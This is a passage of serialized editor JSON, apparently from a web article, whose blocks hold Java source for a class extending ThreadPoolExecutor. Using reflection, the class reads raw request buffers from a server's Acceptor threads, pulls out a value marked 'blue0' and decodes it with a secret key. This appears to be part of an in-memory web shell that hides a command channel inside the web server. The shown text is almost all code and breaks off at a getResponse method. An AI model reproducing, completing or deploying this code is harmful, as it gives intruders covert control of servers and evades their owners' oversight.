{&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fDLd-1659106816140&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Y7rA-1659106816139&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    jioEndPoint = getField(target, \&#34;this$0\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qp7P-1659106816142&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KKP7-1659106816141&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                } catch (Exception e) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WdGe-1659106816144&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OAAP-1659106816143&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;O0bp-1659106816146&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zasU-1659106816145&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                if (jioEndPoint == null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MZpB-1659106816148&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nqdq-1659106816147&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qgJ4-1659106816150&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;T8mp-1659106816149&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        jioEndPoint = getField(target, \&#34;endpoint\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0GKf-1659106816152&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FL8h-1659106816151&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    } catch (Exception e) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Rupd-1659106816154&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dhbH-1659106816153&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        new Object();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;A1Te-1659106816156&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6F7b-1659106816155&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7ewL-1659106816158&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZoWN-1659106816157&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;k6Wg-1659106816161&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;87Jj-1659106816159&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    return jioEndPoint;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XBWR-1659106816163&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5SeV-1659106816162&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;es6V-1659106816165&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HWJJ-1659106816164&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BuZQ-1659106816167&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MpPx-1659106816166&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;d8x8-1659106816169&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1ZDc-1659106816168&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QdCD-1659106816171&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2KM5-1659106816170&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return new Object();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ffWb-1659106816173&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7EHQ-1659106816172&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9ISl-1659106816175&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WP7U-1659106816174&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lzkd-1659106816177&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;U0gk-1659106816176&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public class threadexcutor extends ThreadPoolExecutor {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xerV-1659106816179&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9rgJ-1659106816178&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;quf1-1659106816181&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RHYb-1659106816180&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        public threadexcutor(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, BlockingQueue&lt;Runnable&gt;workQueue, ThreadFactory threadFactory, RejectedExecutionHandler handler) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;J7Ry-1659106816183&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HELA-1659106816182&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            super(corePoolSize, maximumPoolSize, keepAliveTime, unit, workQueue, threadFactory, handler);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nnpI-1659106816185&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Jycd-1659106816184&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fldL-1659106816187&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pI5F-1659106816186&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VVwT-1659106816189&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;blYy-1659106816188&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        public String getRequest() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WsKJ-1659106816192&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BGZL-1659106816191&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;s9wW-1659106816194&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NBU1-1659106816193&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), \&#34;threads\&#34;));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HFZC-1659106816196&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oCkg-1659106816195&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lyci-1659106816198&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bIZH-1659106816197&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                for (Thread thread : threads) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wJG8-1659106816200&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iHEM-1659106816199&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    if (thread != null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LnUH-1659106816202&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;r6WL-1659106816201&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        String threadName = thread.getName();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HfGt-1659106816204&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Hhur-1659106816203&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        if (!threadName.contains(\&#34;exec\&#34;) &amp;&amp; threadName.contains(\&#34;Acceptor\&#34;)) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;11aH-1659106816206&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UDBo-1659106816205&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                            Object target = getField(thread, \&#34;target\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zKRu-1659106816208&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OAJb-1659106816207&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                            if (target instanceof Runnable) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;N1C9-1659106816210&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LSnd-1659106816209&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DnkR-1659106816212&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SIjz-1659106816211&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JkBc-1659106816214&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eo7p-1659106816213&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nPNQ-1659106816216&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TbSl-1659106816215&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    Object[] objects = (Object[]) getField(getField(getField(target, \&#34;this$0\&#34;), \&#34;nioChannels\&#34;), \&#34;stack\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Rh2h-1659106816218&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;R6Kg-1659106816217&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZuND-1659106816220&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cgOg-1659106816219&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rJjI-1659106816222&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FwQv-1659106816221&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    ByteBuffer heapByteBuffer = (ByteBuffer) getField(getField(objects[0], \&#34;appReadBufHandler\&#34;), \&#34;byteBuffer\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cniV-1659106816224&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;743W-1659106816223&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    String a = new String(heapByteBuffer.array(), \&#34;UTF-8\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;d74Z-1659106816226&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZABb-1659106816225&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;W8Jd-1659106816228&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3aIF-1659106816227&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    if (a.indexOf(\&#34;blue0\&#34;) &gt; -1) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ivdu-1659106816230&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CZrK-1659106816229&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                        System.out.println(a.indexOf(\&#34;blue0\&#34;));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kSQZ-1659106816232&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9e1r-1659106816231&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                        System.out.println(a.indexOf(\&#34;\\r\&#34;, a.indexOf(\&#34;blue0\&#34;)) - 1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uzkx-1659106816234&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yozc-1659106816233&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                        String b = a.substring(a.indexOf(\&#34;blue0\&#34;) + \&#34;blue0\&#34;.length() + 1, a.indexOf(\&#34;\\r\&#34;, a.indexOf(\&#34;blue0\&#34;)) - 1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;46AN-1659106816236&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3HQH-1659106816235&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kYKP-1659106816238&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IYen-1659106816237&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                        b = decode(DEFAULT_SECRET_KEY, b);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;n9T7-1659106816240&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hVOf-1659106816239&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Pk0B-1659106816242&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vyGs-1659106816241&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                        return b;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ufiM-1659106816244&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fUlV-1659106816243&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iTnC-1659106816246&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;W15b-1659106816245&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QwAD-1659106816248&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Uh0c-1659106816247&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                } catch (Exception var11) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;T6H5-1659106816250&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XBEV-1659106816249&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    System.out.println(var11);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xebR-1659106816253&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vQ2h-1659106816251&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    continue;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9sYU-1659106816255&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CZpL-1659106816254&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WB4K-1659106816257&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZoI0-1659106816256&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;I3sv-1659106816259&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9k3A-1659106816258&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;p5EU-1659106816261&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RU1y-1659106816260&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VWc9-1659106816263&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NEvB-1659106816262&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TeiK-1659106816265&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jS3I-1659106816264&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fMI8-1659106816267&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BaoV-1659106816266&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;H6sD-1659106816269&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GclU-1659106816268&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            } catch (Exception ignored) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Mu44-1659106816271&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EXK1-1659106816270&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HZo2-1659106816273&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Xc2J-1659106816272&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return new String();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uAwf-1659106816275&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mGVI-1659106816274&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Mloh-1659106816277&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;aeKf-1659106816276&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UvnS-1659106816279&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sbra-1659106816278&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WM1Q-1659106816281&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pTew-1659106816280&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        public void getResponse(byte[] res) 